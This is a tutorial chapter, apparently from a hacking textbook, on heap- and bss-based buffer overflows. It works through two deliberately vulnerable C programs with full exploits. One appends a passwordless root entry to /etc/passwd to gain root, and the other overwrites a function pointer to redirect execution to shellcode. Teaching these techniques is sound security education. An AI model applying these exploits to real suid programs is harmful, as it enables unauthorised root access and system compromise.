Table of Contents
Previous Section Next Section

0x280 Heap-and bss-Based Overflows

In addition to stack-based overflows, there are buffer-overflow vulnerabilities that can occur in the heap and bss memory segments. While these types of overflows aren't as standardized as stack-based overflows, they can be just as effective. Because there's no return address to overwrite, these types of overflows depend on important variables being stored in memory after a buffer that can be overflowed. If an important variable, such as one that keeps track of user permissions or authentication state, is stored after an overflowable buffer, this variable can be overwritten to give full permissions or to set authentication. Or if a function pointer is stored after an overflowable buffer, it can be overwritten, causing the program to call a different memory address (where shellcode would be) when the function pointer is eventually called.

Because overflow exploits in the heap and bss memory segments are much more dependent on the layout of memory in the program, these types of vulnerabilities can be harder to spot.

0x281 A Basic Heap-Based Overflow

The following program is a simple note-taking program, which is vulnerable to a heap-based overflow. It's a fairly contrived example, but that's why it's an example and not a real program. Debugging information has also been added.

heap.c code

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
   FILE *fd;

// Allocating memory on the heap
 char *userinput = malloc(20);
 char *outputfile = malloc(20);

 if(argc < 2)
{
   printf("Usage: %s <string to be written to /tmp/notes>\n", argv[0]);
   exit(0);
}

// Copy data into heap memory
 strcpy(outputfile, "/tmp/notes");
 strcpy(userinput, argv[1]);

// Print out some debug messages
 printf("---DEBUG--\n");
 printf("[*] userinput @ %p: %s\n", userinput, userinput);
 printf("[*] outputfile @ %p: %s\n", outputfile, outputfile);
 printf("[*] distance between: %d\n", outputfile - userinput);
 printf("----------\n\n");

// Writing the data out to the file.
 printf("Writing to \"%s\" to the end of %s...\n", userinput, outputfile);
 fd = fopen(outputfile, "a");
 if (fd == NULL)
 {
   fprintf(stderr, "error opening %s\n", outputfile);
   exit(1);
 }
 fprintf(fd, "%s\n", userinput);
 fclose(fd);

 return 0;
}

In the following output, the program is compiled, set suid root, and executed to demonstrate its functionality.

$ gcc -o heap heap.c
$ sudo chown root.root heap
$ sudo chmod u+s heap
$
$ ./heap testing
---DEBUG--
[*] userinput @ 0x80498d0: testing
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24
----------

Writing to "testing" to the end of /tmp/notes...
$ cat /tmp/notes
testing
$ ./heap more_stuff
---DEBUG--
[*] userinput @ 0x80498d0: more_stuff
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24

----------

Writing to "more_stuff" to the end of /tmp/notes...
$ cat /tmp/notes
testing
more_stuff
$

This is a relatively simple program that takes a single argument and appends that string to the file /tmp/notes. One important detail that should be noticed is that the memory for the userinput variable is allocated on the heap before the memory for the outputfile variable. The debugging output from the program helps to make this clear — userinput is located at 0x80498d0, and outputfile is located at 0x80498e8. The distance between these two addresses is 24 bytes. Because the first buffer is null terminated, the maximum amount of data that can be put into this buffer without overflowing into the next should be 23 bytes. This can be quickly tested by trying to use 23- and 24-byte arguments.

$ ./heap 12345678901234567890123
---DEBUG--
[*] userinput  @ 0x80498d0: 12345678901234567890123
[*] outputfile @ 0x80498e8: /tmp/notes
[*] distance between: 24
----------

Writing to "12345678901234567890123" to the end of /tmp/notes...
$ cat /tmp/notes
testing
more_stuff
12345678901234567890123
$ ./heap 123456789012345678901234
---DEBUG--
[*] userinput  @ 0x80498d0: 123456789012345678901234
[*] outputfile @ 0x80498e8:
[*] distance between: 24
----------

Writing to "123456789012345678901234" to the end of ...
error opening ÿh
$ cat /tmp/notes
testing
more_stuff
12345678901234567890123
$

As predicted, 23 bytes fit into the userinput buffer without any problem, but when 24 bytes are tried, the null-termination byte overflows into the beginning of the outputfile buffer. This causes the outputfile to be nothing but a single null byte, which obviously cannot be opened as a file. But what if something besides a null byte were overflowed into the outputfile buffer?

$ ./heap 123456789012345678901234testfile
---DEBUG--
[*] userinput  @ 0x80498d0: 123456789012345678901234testfile
[*] outputfile @ 0x80498e8: testfile
[*] distance between: 24
----------

Writing to "123456789012345678901234testfile" to the end of testfile...
$ cat testfile
123456789012345678901234testfile
$

This time the string testfile was overflowed into the outputfile buffer. This causes the program to write to testfile instead of /tmp/notes, as it was originally programmed to do.

A string is read until a null byte is encountered, so the entire string is written to the file as the userinput. Because this is a suid program that appends data to a filename that can be controlled, data can be appended to any file. This data does have some restrictions, though; it must end with the controlled filename.

There are probably several clever ways to exploit this type of capability. The most apparent one would be to append something to the /etc/passwd file. This file contains all of the usernames, IDs, and login shells for all the users of the system. Naturally, this is a critical system file, so it is a good idea to make a backup copy before messing with it too much.

$ cp /etc/passwd /tmp/passwd.backup
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
man:x:13:15:man:/usr/man:/bin/false
nobody:x:65534:65534:nobody:/:/bin/false
matrix:x:1000:100::/home/matrix:
sshd:x:22:22:sshd:/var/empty:/dev/null
$

The fields in the /etc/passwd file are delimited by colons, the first field being for login name, then password, user ID, group ID, username, home directory, and finally the login shell. The password fields are all filled with the x character, because the encrypted passwords are stored elsewhere in a shadow file. However, if this field is left blank, no password will be required. In addition, any entry in the password file that has a user ID of 0 will be given root privileges. That means the goal is to append an extra entry to the password file that has root privileges but that doesn't ask for a password. The line to append should look something like this:

myroot::0:0:me:/root:/bin/bash

However, the nature of this particular heap overflow exploit won't allow that exact line to be written to /etc/passwd because the string must end with /etc/passwd. However, if that filename is merely appended to the end of the entry, the passwd file entry would be incorrect. This can be compensated for with the clever use of a symbolic file link, so the entry can both end with /etc/passwd and still be a valid line in the password file. Here's how it works:

$ mkdir /tmp/etc
$ ln -s /bin/bash /tmp/etc/passwd
$ /tmp/etc/passwd
$ exit
exit
$ ls -l /tmp/etc/passwd
lrwxrwxrwx   1 matrix   users      9 Nov 27 15:46 /tmp/etc/passwd ->
/bin/bash

Now "/tmp/etc/passwd" points to the login shell "/bin/bash". This means that a valid login shell for the password file is also "/tmp/etc/passwd", making the following a valid password file line:

myroot::0:0:me:/root:/tmp/etc/passwd

The values of this line just need to be slightly modified so that the portion before "/etc/passwd" is exactly 24 bytes long:

$ echo -n "myroot::0:0:me:/root:/tmp" | wc
      0       1      25
$ echo -n "myroot::0:0:m:/root:/tmp" | wc
      0       1      24
$

This means that if the string "myroot::0:0:m:/root:/tmp/etc/passwd" is fed into the vulnerable heap program, that string will be appended to the end of the /etc/passwd file. And because this line has no password and does have root privileges, it should be trivial to access this account and obtain root access, as the following output shows.

$ ./heap myroot::0:0:m:/root:/tmp/etc/passwd
---DEBUG--
[*] userinput  @ 0x80498d0: myroot::0:0:m:/root:/tmp/etc/passwd
[*] outputfile @ 0x80498e8: /etc/passwd
[*] distance between: 24
----------

Writing to "myroot::0:0:m:/root:/tmp/etc/passwd" to the end of /etc/passwd...
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
man:x:13:15:man:/usr/man:/bin/false
nobody:x:65534:65534:nobody:/:/bin/false
matrix:x:1000:100::/home/matrix:
sshd:x:22:22:sshd:/var/empty:/dev/null
myroot::0:0:m:/root:/tmp/etc/passwd
$
$ su myroot
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
#

0x282 Overflowing Function Pointers

This example uses overflows in the bss section of memory. The program is a simple game of chance. It costs 10 credits to play, and the goal is to guess a randomly chosen number from 1 to 20. If the number is guessed, 100 credits are rewarded. (The credit addition and subtraction code has been omitted, because this is only meant to be an example.) Changes in credits are noted by output messages.

Statistically speaking, this game is weighted against the player, because a win has 1:20 odds, but it only pays out ten times the cost of playing. However, maybe there's a way to even out the odds a little bit.

bss_game.c code


#include <stdlib.h>
#include <time.h>

int game(int);
int jackpot();

int main(int argc, char *argv[])
{
   static char buffer[20];
   static int (*function_ptr) (int user_pick);

   if(argc < 2)
   {
      printf("Usage: %s <a number 1 - 20>\n", argv[0]);
      printf("use %s help or %s -h for more help.\n", argv[0], argv[0]);
      exit(0);
   }

// Seed the randomizer
 srand(time(NULL));

// Set the function pointer to point to the game function.
 function_ptr = game;

// Print out some debug messages
   printf("---DEBUG--\n");
   printf("[before strcpy] function_ptr @ %p: %p\n",&function_ptr,function_ptr);
   strcpy(buffer, argv[1]);

   printf("[*] buffer @ %p: %s\n", buffer, buffer);
   printf("[after strcpy] function_ptr @ %p: %p\n",&function_ptr,function_ptr);

if(argc > 2)
   printf("[*] argv[2] @ %p\n", argv[2]);
   printf("----------\n\n");

// If the first argument is "help" or "-h" display a help message
   if((!strcmp(buffer, "help")) || (!strcmp(buffer, "-h")))
   {
      printf("Help Text:\n\n");
      printf("This is a game of chance.\n");
      printf("It costs 10 credits to play, which will be\n");
      printf("automatically deducted from your account.\n\n");
      printf("To play, simply guess a number 1 through 20\n");
      printf("    %s <guess>\n", argv[0]);
      printf("If you guess the number I am thinking of,\n");
      printf("you will win the jackpot of 100 credits!\n");
   }
   else
// Otherwise, call the game function using the function pointer
   {
      function_ptr(atoi(buffer));
   }
}

int game(int user_pick)
{
   int rand_pick;

// Make sure the user picks a number from 1 to 20
   if((user_pick < 1) || (user_pick > 20))
   {
      printf("You must pick a value from 1 - 20\n");
      printf("Use help or -h for help\n");
      return;
   }

   printf("Playing the game of chance..\n");
   printf("10 credits have been subtracted from your account\n");
/* <insert code to subtract 10 credits from an account> */

// Pick a random number from 1 to 20
   rand_pick = (rand()% 20) + 1;

   printf("You picked: %d\n", user_pick);
   printf("Random Value: %d\n", rand_pick);

// If the random number matches the user's number, call jackpot()
   if(user_pick == rand_pick)
      jackpot();
   else
      printf("Sorry, you didn't win this time..\n");
}

// Jackpot Function. Give the user 100 credits.
int jackpot()
{
   printf("You just won the jackpot!\n");
   printf("100 credits have been added to your account.\n");
   /* <insert code to add 100 credits to an account> */
}

The following output displays the compilation and some sample executions of the program to play the game.

$ gcc -o bss_game bss_game.c
$ ./bss_game
Usage: ./bss_game <a number 1 - 20>
use ./bss_game help or ./bss_game -h for more help.
$ ./bss_game help
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: help
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Help Text:

This is a game of chance.
It costs 10 credits to play, which will be
automatically deducted from your account.

To play, simply guess a number 1 through 20
   ./bss_game <guess>
If you guess the number I am thinking of,
you will win the jackpot of 100 credits!
$ ./bss_game 5
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 5
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Playing the game of chance..
10 credits have been subtracted from your account
You picked: 5
Random Value: 12
Sorry, you didn't win this time..
$ ./bss_game 7
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 7
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Playing the game of chance..
10 credits have been subtracted from your account
You picked: 7
Random Value: 6
Sorry, you didn't win this time..
$ ./bss_game 15
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 15
[after strcpy] function_ptr @ 0x8049c88: 0x8048662
----------

Playing the game of chance..
10 credits have been subtracted from your account
You picked: 15
Random Value: 15
You just won the jackpot!
100 credits have been added to your account.
$

Wonderful. 100 credits. The important detail of this program is the statically declared buffer located before the statically declared function pointer. Because both of these are declared static and are uninitialized, they are located in the bss section of memory. The debug statements reveal that the buffer is located at 0x8049c74 and the function pointer is at 0x8049c88. That equates to a difference of 20 bytes. So if 21 bytes are put into the buffer, the 21st byte should overflow into the function pointer. The overflow is shown below in bold.

$ ./bss_game 12345678901234567890
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890
[after strcpy] function_ptr @ 0x8049c88: 0x8048600
----------

Illegal instruction
$
$ ./bss_game 12345678901234567890A
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890A
[after strcpy] function_ptr @ 0x8049c88: 0x8040041
----------

Segmentation fault
$

In the first overflow shown above, the 21st character is the null byte that terminates the string. Because the function pointer is stored with little-endian byte ordering, the least significant byte (at the end) is overwritten with 0x00, making the new function pointer 0x8048600. In the output shown above, this points to an illegal instruction; however, on different systems, this could point to something valid.

If another byte is overflowed, the null byte moves to the left and the 22nd byte overwrites the least significant byte of the function pointer. In the preceding example, the letter A is used, which has a hexadecimal representation of 0x41. This means that not only can parts of the function pointer be overwritten, but they can also be controlled. If 4 bytes are overflowed, the entire function pointer can be overwritten and controlled by those 4 bytes, as shown below.

$ ./bss_game 12345678901234567890ABCD
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890ABCD
[after strcpy] function_ptr @ 0x8049c88: 0x44434241
----------

Segmentation fault
$

In the preceding example, the function pointer is overwritten by "ABCD", which is represented by the hexadecimal values for D (0x44), C (0x43), B (0x42), and A (0x41), which are reversed due to the byte ordering. In both cases, the program crashes with a segmentation fault, because it's trying to jump to a function in an address where there is no function. Because the function pointer can be controlled, though, the execution of the program can be controlled. All that's needed now is a valid address to insert in place of "ABCD".

The nm command lists symbols in object files. This can be used to find the address of functions in a program.

$ nm bss_game
08049b60 D _DYNAMIC
08049c3c D _GLOBAL_OFFSET_TABLE_
080487a4 R _IO_stdin_used
         w _Jv_RegisterClasses
08049c2c d __CTOR_END__
08049c28 d __CTOR_LIST__
08049c34 d __DTOR_END__
08049c30 d __DTOR_LIST__
08049b5c d __EH_FRAME_BEGIN__
08049b5c d __FRAME_END__
08049c38 d __JCR_END__
08049c38 d __JCR_LIST__
08049c70 A __bss_start
08049b50 D __data_start
08048740 t __do_global_ctors_aux
08048430 t __do_global_dtors_aux
08049b54 d __dso_handle
         w __gmon_start__
         U __libc_start_main@@GLIBC_2.0
08049c70 A _edata
08049c8c A _end
08048770 T _fini
080487a0 R _fp_hw
08048324 T _init
080483e0 T _start
         U atoi@@GLIBC_2.0
08049c74 b buffer.0
08048404 t call_gmon_start
08049c70 b completed.1
08049b50 W data_start
         U exit@@GLIBC_2.0
08048470 t frame_dummy
08049c88 b function_ptr.1
08048662 T game
0804871c T jackpot
08048498 T main 08049b58 d p.0
         U printf@@GLIBC_2.0
         U rand@@GLIBC_2.0
         U srand@@GLIBC_2.0
         U strcmp@@GLIBC_2.0
         U strcpy@@GLIBC_2.0
         U time@@GLIBC_2.0
$

The jackpot() function is a wonderful target for this exploit. The game gives terrible odds, but if the function pointer is overwritten with the address of the jackpot function, the game won't even be played. Instead, the jackpot() function will just be called, doling out the reward of 100 credits and tipping the scales of this game of chance in the other direction. The shell command printf can be used with grave accents to properly print the address like this: printf "\x1c\x87\x04\x08".

$ ./bss_game 12345678901234567890'printf "\x1c\x87\x04\x08"'
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890
[after strcpy] function_ptr @ 0x8049c88: 0x804871c
----------

You just won the jackpot!
100 credits have been added to your account.
$

Easy money. If this were an actual game, this type of vulnerability could be repeatedly exploited to rack up quite a few credits. The vulnerability deepens if the program is suid root.

$ sudo chown root.root bss_game
$ sudo chmod u+s bss_game

Now that the program runs as root, and the execution flow of the program can be controlled, it should be fairly easy to get a root shell. The previously demonstrated technique of storing shellcode in an environment variable should work nicely.

$ export SHELLCODE='perl -e 'print "\x90"x18;'"cat shellcode'
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffcfe
$ ./bss_game 12345678901234567890'printf "\xfe\xfc\xff\xbf"'
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890püÿ¿
[after strcpy] function_ptr @ 0x8049c88: 0xbffffcfe
----------

sh-2.05a# whoami
root
sh-2.05a#

Or, if you prefer to be impressively professional about it, and you have no problems doing basic hexadecimal math in your head, you can omit the NOP sled and save a few keystrokes:

$ export SHELLCODE='cat shellcode'
$ ./getenvaddr SHELLCODE
SHELLCODE is located at 0xbffffd90
$ ./bss_game 12345678901234567890'printf "\x94\xfd\xff\xbf"'
---DEBUG--
[before strcpy] function_ptr @ 0x8049c88: 0x8048662
[*] buffer @ 0x8049c74: 12345678901234567890yÿ¿
[after strcpy] function_ptr @ 0x8049c88: 0xbffffd94
----------
sh-2.05a# whoami
root
sh-2.05a#

In general, buffer overflows are a relatively simple concept. Sometimes data can spill past the perceived boundaries, and sometimes there are ways to take advantage of that. With stack-based overflows, it's usually just a matter of finding the return address, but with heap-based overflows, creativity and innovation can prove to be invaluable.


Table of Contents
Previous Section Next Section